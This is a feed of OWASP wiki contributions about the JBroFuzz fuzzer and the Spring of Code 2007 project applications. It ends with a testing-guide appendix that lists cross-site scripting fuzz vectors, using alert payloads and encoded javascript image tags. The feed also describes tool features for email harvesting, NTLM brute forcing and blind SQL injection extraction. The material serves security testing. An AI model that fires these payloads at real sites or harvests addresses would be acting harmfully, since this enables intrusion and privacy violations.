OWASP - User contributions [en]

SpoC 007 - OWASP JBroFuzz Project - Progress Page

2007-08-28T12:56:43Z

Subere: New page: JBroFuzz has reached the 50% mark in terms of development for the SpoC 007. Tested on mac osx, win32 and a few linux flavours. Current version is 0.7. Get it from the [http://www.sourcef...

JBroFuzz has reached the 50% mark in terms of development for the SpoC 007.

Tested on mac osx, win32 and a few linux flavours. Current version is 0.7. Get it from the [http://www.sourceforge.net/projects/jbrofuzz Download Section].

Below is a list of things completed:

* [Done] Open Source Tab

Given a domain name, by submitting five google searches, JBroFuzz will yield back the corresponding email addresses available for that domain. This is really useful for enumerating or recovering valid username formats, etc.

* [Done] TCP Fuzzing tab allowing graph outputs

Once fuzzing has been performed on any interface, a user can select the Bro button in order to get a normalised plot of the fuzzing responses obtained. This is really useful in terms of minimising time to analyse any results.

* [Done] TCP Sniffing tab update thread Agent Queue

TCP Sniffing has become more robust. A complete re-write of how exceptions are handled has made the listener a lot more stable.

* [Done] Update Generators file format

The file format has been updated to include a number of generators. This work ties in as a continuation towards using the XSSDB from GNU Citizen.

The upcoming code in order to complete the code are as follows:

* Include all XSS Generators from GNU Citizen
* New (pure) HTTP/S Fuzzing Tab using HTTPClient
* Include SOAP and XML fuzzing
* NTLM Brute Force over HTTP/S Tab
* Blind SQL Injection Fuzzing Tab

OWASP Spring Of Code 2007 - Projects

2007-07-29T17:49:22Z

Subere:

== All SpoC Projects ==

{| class="wikitable" WIDTH=100%
|-
! SpoC Project Name
! Author
! Confirmed
! Status
! Coordinated by
|-

|-
! [[SpoC 007 - The OWASP Web Security Certification Framework|The OWASP Web Security Certification Framework]]
| Mark Curphey
| Yes
| 45%
| OWASP Board

|-
! [[SpoC 007 - SqlMap|SqlMap]]
| Bernardo Damele
| Yes
| 60% (to review)
| Dinis Cruz

|-
! [[SpoC 007 - OWASP Site Generator|OWASP Site Generator]]
| Boris
| Yes
| 0%
| Dinis Cruz

|-
! [[SpoC 007 - Attacks Reference Guide|Attacks Reference Guide]]
| NSRAV Security Research Group
| Yes
| 0%
| TBA

|-
! [[SpoC 007 - The Scholastic Application Security Assessment Project|The Scholastic Application Security Assessment Project]]
| Eric Sheridan and
Dr. Goran Trajkovski
| Yes
| 0%
| TBA

|-
! [[SpoC 007 - Inspekt|Inspekt: Input filtering and validation library for PHP]]
| Ed Finkler
| Yes
| 50% (to review)
| Andrew v d Stock

|-
! [[SpoC 007 - Code review Project|Code review Project]]
| Eoin Keary
| Yes
| 25%
| Dinis Cruz

|-
! [[SpoC 007 - OWASP Certification Project|OWASP Certification Project]]
| Matteo Meucci
| Yes
| 0%
| Dinis Cruz

|-
! [[SpoC 007 - OWASP Education Project|OWASP Education Project]]
| Sebastien Deleersnyder
| Yes
| 37,5%
| Dinis Cruz

|-
! [[SpoC 007 - OWASP The Anti-Samy Project|OWASP The Anti-Samy Project]]
| Arshan Dabirsiaghi
| Yes
| 0%
| TBA

|-
! [[SpoC 007 - Security throughout the SDLC|Security throughout the SDLC]]
| Keith Casey
| Yes
| 0%
| TBA

|-
! [[SpoC 007 - OWASP WebGoat Solutions Guide|OWASP WebGoat Solutions Guide]]
| Erwin Geirnaert
| Yes
| 90%
| Jeff Williams

|-
! [[SpoC 007 - OWASP WeBekci Project|OWASP WeBekci Project]]
| Bunyamin Demir
| Yes
| 0%
| Ivan Ristic

|-
! [[SpoC 007 - Python Tainted Mode|Python Tainted Mode]]
| Denis
| Yes
| 0%
| TBA

|-
! [[SpoC 007 - WebScarab NG Security Test Automation|WebScarab NG Security Test Automation]]
| Darren Edmonds
| Yes
| 0%
| Jeff Williams

|-
! [[SpoC 007 - Refresh Attacks list|Refresh Attacks list]]
| Przemyslaw 'rezos' Skowron
| Yes
| 0%
| TBA

|-
! [[SpoC 007 - Best Practices & Countermeasures|Best Practices & Countermeasures]]
| Jim
| Yes
| 0%
| TBA

|-
! [[SpoC 007 - OWASP Brand|OWASP brand]]
| Paulo Coimbra
| Yes
| 0%
| Dinis Cruz

|-
! [[SpoC 007 - Web Application Security put into practice|Web Application Security put into practice]]
| Heiko Webers
| Yes
| 60%
| TBA

|-
! [[SpoC 007 - OWASP JBroFuzz Project|OWASP JBroFuzz Project]]
| Subere
| Yes
| 40%
| TBA

|-
! [[SpoC 007 - Owasp Orizon Project|Owasp Orizon Project]]
| Paolo Perego
| Yes
| 45%
| Dinis Cruz

|-
! [[SpoC 007 - Enigform: Firefox Addon for OpenPGP signing of HTTP requests|Enigform: Firefox Addon for OpenPGP signing of HTTP requests]]
| Arturo (Buanzo) Busleiman
| Yes
| half term review: done
| Dinis Cruz

|-
! [[SpoC 007 - OWASP LiveCD Education Project|OWASP LiveCD Education Project]]
| Josh Sweeney
| Yes
| 50% (to review)
| Eoin Keary

|-
! [[SpoC 007 - OWASP Java Project|OWASP Java Project]]
| Erwin Geirnaert
| Yes
| 0%
| Jeff Williams

|-
! [[SpoC 007 - OWASP LiveCD Project|OWASP LiveCD Project]]
| Joshua Perrymon
| Yes
| 0%
| Eoin Keary

|-
! [[SpoC 007 - Interim @ Aspect Offices|Interim @ Aspect Offices]]
| Andy Gocke
| Yes
| 0%
| Jeff Williams

|-
! [[SpoC 007 - 10x 1000USD to FOSS projects we all use |10x 1000USD to FOSS projects we all use ]]
| (tbd)
| No
| 0%
| Dinis Cruz

|-
! [[SpoC 007 - Help with SpoC project management|Help with SpoC project management]]
| Paulo Coimbra
| Yes
| 0%
| Dinis Cruz

|}

File:Jbrofuzz-results.png

2007-07-29T05:00:50Z

Subere: An image screenshot of results while performing a Man-In-The-Middle eavesdropping session using the "TCP Sniffing" tab. JBroFuzz can be used as a TCP Proxy Fuzzer when the results from the "TCP Sniffing" tab are placed in the "TCP Fuzzing" tab.

An image screenshot of results while performing a Man-In-The-Middle eavesdropping session using the "TCP Sniffing" tab. JBroFuzz can be used as a TCP Proxy Fuzzer when the results from the "TCP Sniffing" tab are placed in the "TCP Fuzzing" tab.

File:JBroFuzz-Image.png

2007-07-29T04:29:11Z

Subere: A screenshot image of JBroFuzz to be placed on the website.

A screenshot image of JBroFuzz to be placed on the website.

File:JBroFuzz-splash.jpg

2007-07-29T03:58:26Z

Subere:

File:Jbrofuzz-splash.jpg

2007-07-29T03:54:29Z

Subere: The splash screen for JBroFuzz, seen on the website's main page.

The splash screen for JBroFuzz, seen on the website's main page.

File:Splash.jpg

2007-07-29T03:52:41Z

Subere:

OWASP Spring Of Code 2007 Applications

2007-03-20T11:36:54Z

Subere: /* Why should JBroFuzz should be sponsored? */

This page contains project Applications to the [[OWASP_Spring_Of_Code_2007]]

'''If you want to apply for a SpoC 007 sponsorship you HAVE TO USE THIS PAGE for your application'''

See [[OWASP_Spring_Of_Code_2007#How_To_Participate]] for what do to one you completed your Application

---------

'''Proposed template:''' {for longer proposals, in addition to these details you can create a PDF}:

== {Your first name or Alias} - {Project name} ==
Please remember that projects will be selected and funded based on how well they meet the [[OWASP_Spring_Of_Code_2007_:_Selection|Selection Criteria]].

You can propose your project in any form you wish, but the best proposals will be well thought out, clear and concise, and reflective of your passion for the topic. We strongly suggest that you include the following information in your proposal.

* Your educational and professional background

* Application security experience and accomplishments

* Participation and leadership in open communities

* The opportunity, challenges, issues or need your proposal addresses

* Objectives or ways in which you will meet the goal(s)

* Specific activities and who will carry out these activities

* Specific deliverables and a rough project schedule so we can track progress

* Long-term vision for the project

* Any other reasons why you and your project should be selected

== Buanzo - Enigform: Firefox Addon for OpenPGP signing of HTTP requests ==

I am a 25 year old Independent security consultant from Buenos Aires, Argentina, that has contributed to the world of
information systems security since 1994, when BBSes and Linux still lived together.

I quick search for buanzo on google [http://www.google.com/search?hl=en&q=buanzo&btnG=Google+Search] will provide all necessary details about my professional and community background. For comprobable experience, you could also check my Rent a Coder profile.[http://www.rentacoder.com/RentACoder/SoftwareCoders/showBioInfo.asp?lngAuthorId=735204].

In my free time I like playing with my Punk-Pop band [http://www.purevolume.com/futurabandapunkpop], Futurabanda. [http://www.futurabanda.com.ar], and maintaining my Restaurants, Wines and Recipes site. [http://www.vivamoslavida.com.ar]. I have to admit that my first priorities are my beloved son [http://www.fotolog.com/buanzo] and my wonderful wife [http://www.fotolog.com/buanzo].

=== Accomplishments ===

I've contributed scripts, fixes and translations to the Nmap project. I've also acted as Expert Contributor for SANS TOP-20 2004, 2005 and 2006. I've developed
lots that can be found in Freshmeat, like mprl (a getty enhancement to allow remote logins from the login: prompt of the console). I've also written
the Unix chapter of the OISSG's Information Systems Security Assessment Framework, v0.1 [http://www.oissg.org/content/view/71/71/]. I'm currently writing
an Internet Draft to be proposed for RFC regarding Enigform.

=== Community ===

I run the official 2600 meetings site for Argentina [http://www.2600.com/meetings/pages.html], I've been proposed, but I refused, for President of the Argentinian Free Software group called SOLAR [www.solar.org.ar]. I'm an active member of the FLOSS community since 1996, having written articles in magazines http://www.net-security.org/dl/articles/Detecting_and_Understanding_rootkits.txt, made TV, radio
and newspaper appearances [http://codigoabierto.bitacoras.com/archivos/2005/04/01/buanzo-hacks] and led different security research groups of Spain, Mexico and Argentina. Currently I contribute time thorugh my sites, forums and blogs,
answering questions in mailing lists and helping coordinate some local LUGs. I do also manager the Linux Counter for Argentina [http://counter.li.org/reports/place.php?place=AR].

=== My Project ===

Enigform [http://enigform.mozdev.org] is a Firefox extension that enhances HTTP with OpenPGP functionality. It digitally signs outgoing HTTP requests so that a web server can authenticate
the identity and data of the incoming request. It is a Web Security tool because it can, if correctly implemented as any OpenPGP based technology, render man in
the middle attacks useless. I think OpenPGP already speaks for itself regarding eMail. Imagine the same benefits for http and web applications.

Enigform is the reference implementation of the Internet Draft I'm working on, in discussion with members of the IETF's OpenPGP Working Group.

Some simple PHP code is enough to make a web application Enigform-aware [http://enigformtest.buanzo.com.ar]. The Smutty PHP MVC Framework already supports Enigform [http://smutty.pu-gh.com/demo/enigform].

=== Long Term ===

Have the Draft be proposed as a Standards Track RFC document, have Enigform support directly in Apache and IIS, and port Enigform to other browsers
and/or programming languages, and also provide OpenPGP De/Encryption support.

=== Why should I be selected ===

I have the experience, security awareness and means to make this project THE web security project of the decade. I am a respected member of the
international security community, and I firmly believe Enigform is my greatest idea so far.

== Eoin Keary - Code review Project ==
* '''Executive Summary''':
I am proposing that I complete the OWASP Code review guide during this period.
The code review guide was started by me in 2005 and has much information on reviewing code for common vulnerabilities. It is frequently accessed (looking at the stats on the OWASP site) and therefore is useful to practitioners.

I believe the code review guide is an integral part of the OWASP BOK (Body of Knowledge). Ensuring secure development is key to secure applications and code review is of paramount importance in this domain.

There are many sections still to be added and more to be readjusted and rewritten to reflect the current state of the security world.
Much needs to be written on Web 2.0 technologies and distributed B2B technologies such as Webservices.

The Code review process and procedure needs also to be covered. A guide to establishing a mature code review process also needs to be done.
Code review methodologies also need to be discussed.

* '''Objectives and Deliverables''':

Update of the code review guide:
* Add additional areas relating to the code review process such as:
** Benefits and pitfalls
** Methodology
** The code review process
*** Transactional analysis
*** Managing the code review process
*** Assigning risk to findings

** Technical guides
*** Language specific best practice
*** Java
*** .NET
*** PHP
*** MySQL
*** Stored Procs
*** C/C++

** Code review by vulnerability:
*** Reviewing Code for Buffer Overruns and Overflows
*** Reviewing Code for OS Injection
*** Reviewing Code for SQL Injection
*** Reviewing Code for Data Validation
*** Reviewing code for XSS issues
*** Reviewing Code for Error Handling
*** Reviewing Code for Logging Issues
*** Reviewing The Secure Code Environment
*** Reviewing code for Authorization Issues
*** Reviewing code for Authentication Issues
*** Reviewing code for Session Integrity
*** Reviewing code for Cross Site Request Forgery
*** Reviewing code for Cryptography implementation issues
*** Reviewing code Dangerous HTTP Methods (Deployment)
*** Race Conditions

The areas of code are structured giving a brief explanation, the anti-pattern (vulnerable pattern to look for) and a suggested fix.

* '''Why I should be sponsored for the project''':

I used to head up the code review team as part of the application security group in fidelity investments and have 5+ years of the secure code review process.
I also was the lead of the Testing guide until V2 was published via the Autumn of Code.

I have always delivered any work I have volunteered for on time.

I have been involved in OWASP projects for 2/3 years now and have always been an active contributor.

== Paolo Perego - Owasp Orizon Project ==
* '''Executive Summary''':
Owasp Orizon [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project] Project born in 2006 as answer to the lack of common engine and library usable by opensource code review related tools.

I'm proposing that, during the Spring of Code 2007 period, I'll complete static analisys API and java source code enforment objects.

Sometimes a complete code review approach is not suitable for most customers who wants to harden their code which is being approaching release stage. For such a reason, I started writing Java objects that embeds most of the security checks against common web vulnerabilities (XSS, SQL injection, Session handling, ...) so that source code can be hardened with a small effort in terms of code rewriting.

I do believe that a common set of API and a common safe coding best practices library is one of the most important goals to bring application security to the developers.

* '''Objectives and Deliverables''':
Completing the static code review API section
* improving programming language to XML translator
* improving security best practices code review scan library
* improving secure coding fashion best practices library
* writing the pattern matching scan using the aformentioned libraries
Writing the java source code enforment objects
* writing an object to handle form data values to avoid XSS
* writing an object to handle form data values to avoid SQL Injection
* writing an object to handle HttpRequest and HttpSession objects

* '''Why I should be sponsored for the project''':
Owasp Orizon is the first Owasp project I'm involved in. I'm also contributor of Owasp Italian chapter managed by Matteo Meucci and I'm talking at various speeches about application security and safe coding best practices.

I'm a security consultant working in ethical hacking and we're approaching code review and safe topics right now.
I'm a developer too so I understand also the "dark side" of the problem developing code with security in mind.

I work using the "release early release often" paradigm so to be concrete and let other people having something usable to work with.

== Sebastien Deleersnyder - OWASP Education Project ==
* '''Executive Summary''':
This Education project aims to provide in building blocks of web application security information. These modules can be combined together in education tracks targeting different audiences.

Web Application Security Education and Awareness is needed throughout the entire organization, each area and level of organizations have specific needs and requirements regarding education. A manager needs other information than a security professional or developer. Novices to the profession require other training than people with several years of experience.

* '''Objectives and Deliverables''':
Currently the project goals are to create Educational Tracks:
* Complete the [[OWASP Education Presentation|consolidation page of OWASP presentations]] performed in the past
* A "Web Application Security Primer" Track for beginners (4 hours)
* A "What developers should know on Web Application Security" Track for developers (4 hours)

* '''Why you should be sponsored for the project''':
I started the successful Belgian Chapter 3 years ago and have actively contributed to OWASP since then. I also co-organized the European conference last year in Belgium.

This is the first separate project that I started, originating from a local demand to set up educational tracks for people that are new to Web Application Security. There are literally hundreds of presentations and an enormous amount of information on the OWASP web site. The goal of this project is to restructure pieces of that information in reusable modules that can be combined in educational tracks. It is my believe that awareness is an important cornerstone of building secure web applications, and this project will actively support that.

If we are granted Spoc 007 participation, I will be sharing the budget with all active participants. This will be an extra motivation for project participation. I will reinvest my part in the project to set up a web conferencing / web casting solution to be used to disseminate the project results and make them available for later use.

* '''More details''':
The detailed [[OWASP Education Project Roadmap|road map]] can be found here.
The SpoC 007 goal is to finish Sub Goals 1, 2, 3 and 4. If time permits we can start with sub goal 5.

== Subere - OWASP JBroFuzz Project ==

==== Overview ====

JBroFuzz is a stateless network protocol fuzzer that emerged from the needs of penetration testing. The purpose of this application is to provide a single, portable application that offers stable cross-platform network protocol fuzzing capabilities. At the same time, JBroFuzz attempts to keep the User Interface (UI) as intuitive as possible.

==== Fuzzing ====

As seen by the emphasis given on the subject of fuzzing in the 2007 Testing Guide (v2), network protocol fuzzing serves as a fundamental cornerstone of application security testing. For this, many different categories and types of fuzzing have been defined.

==== Objectives ====

JBroFuzz needs to expand and grow in order to cover network fuzzing in a more complete manner. Its modular implementation allows for the addtion of new functionality by means of independent tabs. The key tabs proposed to be added during the spring of code 2007 are (details in next section):

* '''Open Source Tab'''
* '''NTLM Brute Force over HTTP/S Tab'''
* '''Pure HTTP/S Fuzzing using HTTPClient'''
* '''Blind SQL Injection Fuzzing Tab'''

At the same time, the following existing tabs need to be updated and made more robust (details in next section):

* '''TCP Fuzzing tab allowing graph outputs'''
* '''TCP Sniffing tab update thread Agent Queue'''
* '''Update Generators file format'''
* '''Include SOAP and XML fuzzing'''

This expansion process relates to stabilising code that is presently included in JBroFuzz, thus allowing it to run for extensive periods of time (24h+) as well as adding more functionality in terms of the three new tabs.

==== Deliverables ====

Based on the above, the new code elements that will be added are as follows:

* '''Open Source Tab:''' ''Provide the ability to enumerate e-mails from newsgroups without breaching google automated search rules''
* '''NTLM Brute Force over HTTP/S Tab:''' ''Provide the ability to enumerate NTLM as well as brute over HTTP/S NTLM.''
* '''Pure HTTP/S Fuzzing:''' ''Implement a fuzzing tab utilising HTTPClient from Jakarta that will also allow for multi-threading''
* '''Blind SQL Fuzzing Tab''' ''Implement a tab that extracts information from a blind SQL injection point identified on web server over HTTP/HTTPS.''

For updating existing code elements that require a partial rewrite, the following areas of focus are presented in detail:

* '''TCP Fuzzing tab allowing graph outputs:''' ''Provide the ability to graph fuzzing results during a particular session run. This will give the ability to integrate and pickup potential fuzzing patterns.''
* '''TCP Sniffing tab update thread Agent Queue:''' ''Update the code of the sniffing panel in order to handle threaded agents in a more memory efficient way.''
* '''Update Generators file format:''' ''Update the generators file format to allow for the parsing and creation of recursive generators.''
* '''Include SOAP and XML fuzzing:''' ''Include an up to date list of SOAP and XML fuzzing templates.''

Overall, the above two lists of changes should provide sufficient complexity and output for the spring of code 2007, forming a challenging implementation project.

==== Background ====

In its short life, the OWASP JBroFuzz Project has attracted the interest of the online security community with a total of appr. 5000 downloads in the last months.

Coming from a strong java background (5+ years) I decided to implement and release JBroFuzz in order to initially simplify penetrations testing processes that relate to web application and network protocol fuzzing.

I see the spring of code 2007 as a unique opportunity to industrialise network protocol fuzzing (and in particular HTTP/S fuzzing) within a single application, residing within OWASP.

==== Why should JBroFuzz be sponsored? ====

Centralising fuzzing resources into one application that has the ability to handle network protocol fuzzing over HTTP and HTTPS in a simple and intuitive manner forms an area of focus that should not be dismissed in building secure software applications.

Keep the code platform independent adds a huge advantage.

Receving an OWASP grant from the spring of code 2007 will trigger a share in the budget with all active participants depending on their level of involvement. This will be a direct function of the number of tabs and/or user functionality that they have assisted in implementing.

OWASP Spring Of Code 2007 Applications

2007-03-16T16:24:33Z

Subere:

This page contains project Applications to the [[OWASP_Spring_Of_Code_2007]]

'''If you want to apply for a SpoC 007 sponsorship you HAVE TO USE THIS PAGE for your application'''

See [[OWASP_Spring_Of_Code_2007#How_To_Participate]] for what do to one you completed your Application

---------

'''Proposed template:''' {for longer proposals, in addition to these details you can create a PDF}:

== {Your first name or Alias} - {Project name} ==
Please remember that projects will be selected and funded based on how well they meet the [[OWASP_Spring_Of_Code_2007_:_Selection|Selection Criteria]].

You can propose your project in any form you wish, but the best proposals will be well thought out, clear and concise, and reflective of your passion for the topic. We strongly suggest that you include the following information in your proposal.

* Your educational and professional background

* Application security experience and accomplishments

* Participation and leadership in open communities

* The opportunity, challenges, issues or need your proposal addresses

* Objectives or ways in which you will meet the goal(s)

* Specific activities and who will carry out these activities

* Specific deliverables and a rough project schedule so we can track progress

* Long-term vision for the project

* Any other reasons why you and your project should be selected

== Eoin Keary - Code review Project ==
* '''Executive Summary''':
I am proposing that I complete the OWASP Code review guide during this period.
The code review guide was started by me in 2005 and has much information on reviewing code for common vulnerabilities. It is frequently accessed (looking at the stats on the OWASP site) and therefore is useful to practitioners.

I believe the code review guide is an integral part of the OWASP BOK (Body of Knowledge). Ensuring secure development is key to secure applications and code review is of paramount importance in this domain.

There are many sections still to be added and more to be readjusted and rewritten to reflect the current state of the security world.
Much needs to be written on Web 2.0 technologies and distributed B2B technologies such as Webservices.

The Code review process and procedure needs also to be covered. A guide to establishing a mature code review process also needs to be done.
Code review methodologies also need to be discussed.

* '''Objectives and Deliverables''':

Update of the code review guide:
* Add additional areas relating to the code review process such as:
** Benefits and pitfalls
** Methodology
** The code review process
*** Transactional analysis
*** Managing the code review process
*** Assigning risk to findings

** Technical guides
*** Language specific best practice
*** Java
*** .NET
*** PHP
*** MySQL
*** Stored Procs
*** C/C++

** Code review by vulnerability:
*** Reviewing Code for Buffer Overruns and Overflows
*** Reviewing Code for OS Injection
*** Reviewing Code for SQL Injection
*** Reviewing Code for Data Validation
*** Reviewing code for XSS issues
*** Reviewing Code for Error Handling
*** Reviewing Code for Logging Issues
*** Reviewing The Secure Code Environment
*** Reviewing code for Authorization Issues
*** Reviewing code for Authentication Issues
*** Reviewing code for Session Integrity
*** Reviewing code for Cross Site Request Forgery
*** Reviewing code for Cryptography implementation issues
*** Reviewing code Dangerous HTTP Methods (Deployment)
*** Race Conditions

The areas of code are structured giving a brief explanation, the anti-pattern (vulnerable pattern to look for) and a suggested fix.

* '''Why I should be sponsored for the project''':

I used to head up the code review team as part of the application security group in fidelity investments and have 5+ years of the secure code review process.
I also was the lead of the Testing guide until V2 was published via the Autumn of Code.

I have always delivered any work I have volunteered for on time.

I have been involved in OWASP projects for 2/3 years now and have always been an active contributor.

== Paolo Perego - Owasp Orizon Project ==
* '''Executive Summary''':
Owasp Orizon [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project] Project born in 2006 as answer to the lack of common engine and library usable by opensource code review related tools.

I'm proposing that, during the Spring of Code 2007 period, I'll complete static analisys API and java source code enforment objects.

Sometimes a complete code review approach is not suitable for most customers who wants to harden their code which is being approaching release stage. For such a reason, I started writing Java objects that embeds most of the security checks against common web vulnerabilities (XSS, SQL injection, Session handling, ...) so that source code can be hardened with a small effort in terms of code rewriting.

I do believe that a common set of API and a common safe coding best practices library is one of the most important goals to bring application security to the developers.

* '''Objectives and Deliverables''':
Completing the static code review API section
* improving programming language to XML translator
* improving security best practices code review scan library
* improving secure coding fashion best practices library
* writing the pattern matching scan using the aformentioned libraries
Writing the java source code enforment objects
* writing an object to handle form data values to avoid XSS
* writing an object to handle form data values to avoid SQL Injection
* writing an object to handle HttpRequest and HttpSession objects

* '''Why I should be sponsored for the project''':
Owasp Orizon is the first Owasp project I'm involved in. I'm also contributor of Owasp Italian chapter managed by Matteo Meucci and I'm talking at various speeches about application security and safe coding best practices.

I'm a security consultant working in ethical hacking and we're approaching code review and safe topics right now.
I'm a developer too so I understand also the "dark side" of the problem developing code with security in mind.

I work using the "release early release often" paradigm so to be concrete and let other people having something usable to work with.

== Sebastien Deleersnyder - OWASP Education Project ==
* '''Executive Summary''':
This Education project aims to provide in building blocks of web application security information. These modules can be combined together in education tracks targeting different audiences.

Web Application Security Education and Awareness is needed throughout the entire organization, each area and level of organizations have specific needs and requirements regarding education. A manager needs other information than a security professional or developer. Novices to the profession require other training than people with several years of experience.

* '''Objectives and Deliverables''':
Currently the project goals are to create Educational Tracks:
* Complete the [[OWASP Education Presentation|consolidation page of OWASP presentations]] performed in the past
* A "Web Application Security Primer" Track for beginners (4 hours)
* A "What developers should know on Web Application Security" Track for developers (4 hours)

* '''Why you should be sponsored for the project''':
I started the successful Belgian Chapter 3 years ago and have actively contributed to OWASP since then. I also co-organized the European conference last year in Belgium.

This is the first separate project that I started, originating from a local demand to set up educational tracks for people that are new to Web Application Security. There are literally hundreds of presentations and an enormous amount of information on the OWASP web site. The goal of this project is to restructure pieces of that information in reusable modules that can be combined in educational tracks. It is my believe that awareness is an important cornerstone of building secure web applications, and this project will actively support that.

If we are granted Spoc 007 participation, I will be sharing the budget with all active participants. This will be an extra motivation for project participation. I will reinvest my part in the project to set up a web conferencing / web casting solution to be used to disseminate the project results and make them available for later use.

* '''More details''':
The detailed [[OWASP Education Project Roadmap|road map]] can be found here.
The SpoC 007 goal is to finish Sub Goals 1, 2, 3 and 4. If time permits we can start with sub goal 5.

== Subere - OWASP JBroFuzz Project ==

==== Overview ====

JBroFuzz is a stateless network protocol fuzzer that emerged from the needs of penetration testing. The purpose of this application is to provide a single, portable application that offers stable cross-platform network protocol fuzzing capabilities. At the same time, JBroFuzz attempts to keep the User Interface (UI) as intuitive as possible.

==== Fuzzing ====

As seen by the emphasis given on the subject of fuzzing in the 2007 Testing Guide (v2), network protocol fuzzing serves as a fundamental cornerstone of application security testing. For this, many different categories and types of fuzzing have been defined.

==== Objectives ====

JBroFuzz needs to expand and grow in order to cover network fuzzing in a more complete manner. Its modular implementation allows for the addtion of new functionality by means of independent tabs. The key tabs proposed to be added during the spring of code 2007 are (details in next section):

* '''Open Source Tab'''
* '''NTLM Brute Force over HTTP/S Tab'''
* '''Pure HTTP/S Fuzzing using HTTPClient'''
* '''Blind SQL Injection Fuzzing Tab'''

At the same time, the following existing tabs need to be updated and made more robust (details in next section):

* '''TCP Fuzzing tab allowing graph outputs'''
* '''TCP Sniffing tab update thread Agent Queue'''
* '''Update Generators file format'''
* '''Include SOAP and XML fuzzing'''

This expansion process relates to stabilising code that is presently included in JBroFuzz, thus allowing it to run for extensive periods of time (24h+) as well as adding more functionality in terms of the three new tabs.

==== Deliverables ====

Based on the above, the new code elements that will be added are as follows:

* '''Open Source Tab:''' ''Provide the ability to enumerate e-mails from newsgroups without breaching google automated search rules''
* '''NTLM Brute Force over HTTP/S Tab:''' ''Provide the ability to enumerate NTLM as well as brute over HTTP/S NTLM.''
* '''Pure HTTP/S Fuzzing:''' ''Implement a fuzzing tab utilising HTTPClient from Jakarta that will also allow for multi-threading''
* '''Blind SQL Fuzzing Tab''' ''Implement a tab that extracts information from a blind SQL injection point identified on web server over HTTP/HTTPS.''

For updating existing code elements that require a partial rewrite, the following areas of focus are presented in detail:

* '''TCP Fuzzing tab allowing graph outputs:''' ''Provide the ability to graph fuzzing results during a particular session run. This will give the ability to integrate and pickup potential fuzzing patterns.''
* '''TCP Sniffing tab update thread Agent Queue:''' ''Update the code of the sniffing panel in order to handle threaded agents in a more memory efficient way.''
* '''Update Generators file format:''' ''Update the generators file format to allow for the parsing and creation of recursive generators.''
* '''Include SOAP and XML fuzzing:''' ''Include an up to date list of SOAP and XML fuzzing templates.''

Overall, the above two lists of changes should provide sufficient complexity and output for the spring of code 2007, forming a challenging implementation project.

==== Background ====

In its short life, the OWASP JBroFuzz Project has attracted the interest of the online security community with a total of appr. 5000 downloads in the last months.

Coming from a strong java background (5+ years) I decided to implement and release JBroFuzz in order to initially simplify penetrations testing processes that relate to web application and network protocol fuzzing.

I see the spring of code 2007 as a unique opportunity to industrialise network protocol fuzzing (and in particular HTTP/S fuzzing) within a single application, residing within OWASP.

==== Why should JBroFuzz should be sponsored? ====

Centralising fuzzing resources into one application that has the ability to handle network protocol fuzzing over HTTP and HTTPS in a simple and intuitive manner forms an area focus that should not be dismissed in building secure software applications.

Receving an OWASP grant from the spring of code 2007 will trigger a share in the budget with all active participants depending on their level of involvement. This will be a direct function of the number of tabs and/or user functionality they have assisted in implementing.

__NOTOC__

File:Jbrf-05-sml.png

2007-02-21T22:45:22Z

Subere:

OWASP Testing Guide Appendix C: Fuzz Vectors

2006-12-14T00:02:23Z

Subere: /* Format String Errors (FSE) */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

The following are fuzzing vectors which can be used with [[WebScarab]], [[JBroFuzz]], [[WSFuzzer]], or another fuzzer.
Fuzzing is the "kitchen sink" approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing.
This is the simple part of the discovery phase.
Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.

=== Fuzz Categories ===

In the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:

* Recursive fuzzing
* Replacive fuzzing

We examine and define each category in the sub-sections that follow.

==== Recursive fuzzing ====

Recursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:

<pre>
<nowiki>http://www.example.com/8302fa3b</nowiki>
</pre>

Selecting "8302fa3b" as a part of the request to be fuzzed against the set hexadecimal alphabet i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form:
<pre>
<nowiki>http://www.example.com/00000000</nowiki>
<nowiki>...</nowiki>
<nowiki>http://www.example.com/11000fff</nowiki>
<nowiki>...</nowiki>
<nowiki>http://www.example.com/ffffffff</nowiki>
</pre>

==== Replacive fuzzing ====

Replacive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:

<pre>
<nowiki>http://www.example.com/8302fa3b</nowiki>
</pre>

Testing against Cross Site Scripting (XSS) by sending the following fuzz vectors:

<pre>
<nowiki>http://www.example.com/>"><script>alert("XSS")</script>&</nowiki>
<nowiki>http://www.example.com/'';!--"<XSS>=&{()}</nowiki>
</pre>

This is a form of replacive fuzzing. In this category, the total number of requests is dependant on the number of fuzz vectors specified.

The remainder of this appendix presents a number of fuzz vector categories.

=== Cross Site Scripting (XSS) ===

For details on XSS: [[Cross_site_scripting_AoC]]

<nowiki>>"><script>alert("XSS")</script>&</nowiki>
<nowiki>"><STYLE>@import"javascript:alert('XSS')";</STYLE></nowiki>
<nowiki>>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)></nowiki> 
<nowiki>>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22></nowiki>
<nowiki>'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'</nowiki>
<nowiki>"></nowiki>
<nowiki>>"</nowiki>
<nowiki>'';!--"<XSS>=&{()}</nowiki>
<nowiki><IMG SRC="javascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC=javascript:alert('XSS')></nowiki>
<nowiki><IMG SRC=JaVaScRiPt:alert('XSS')> </nowiki>
<nowiki><IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)></nowiki>
<nowiki><IMGSRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41></nowiki>
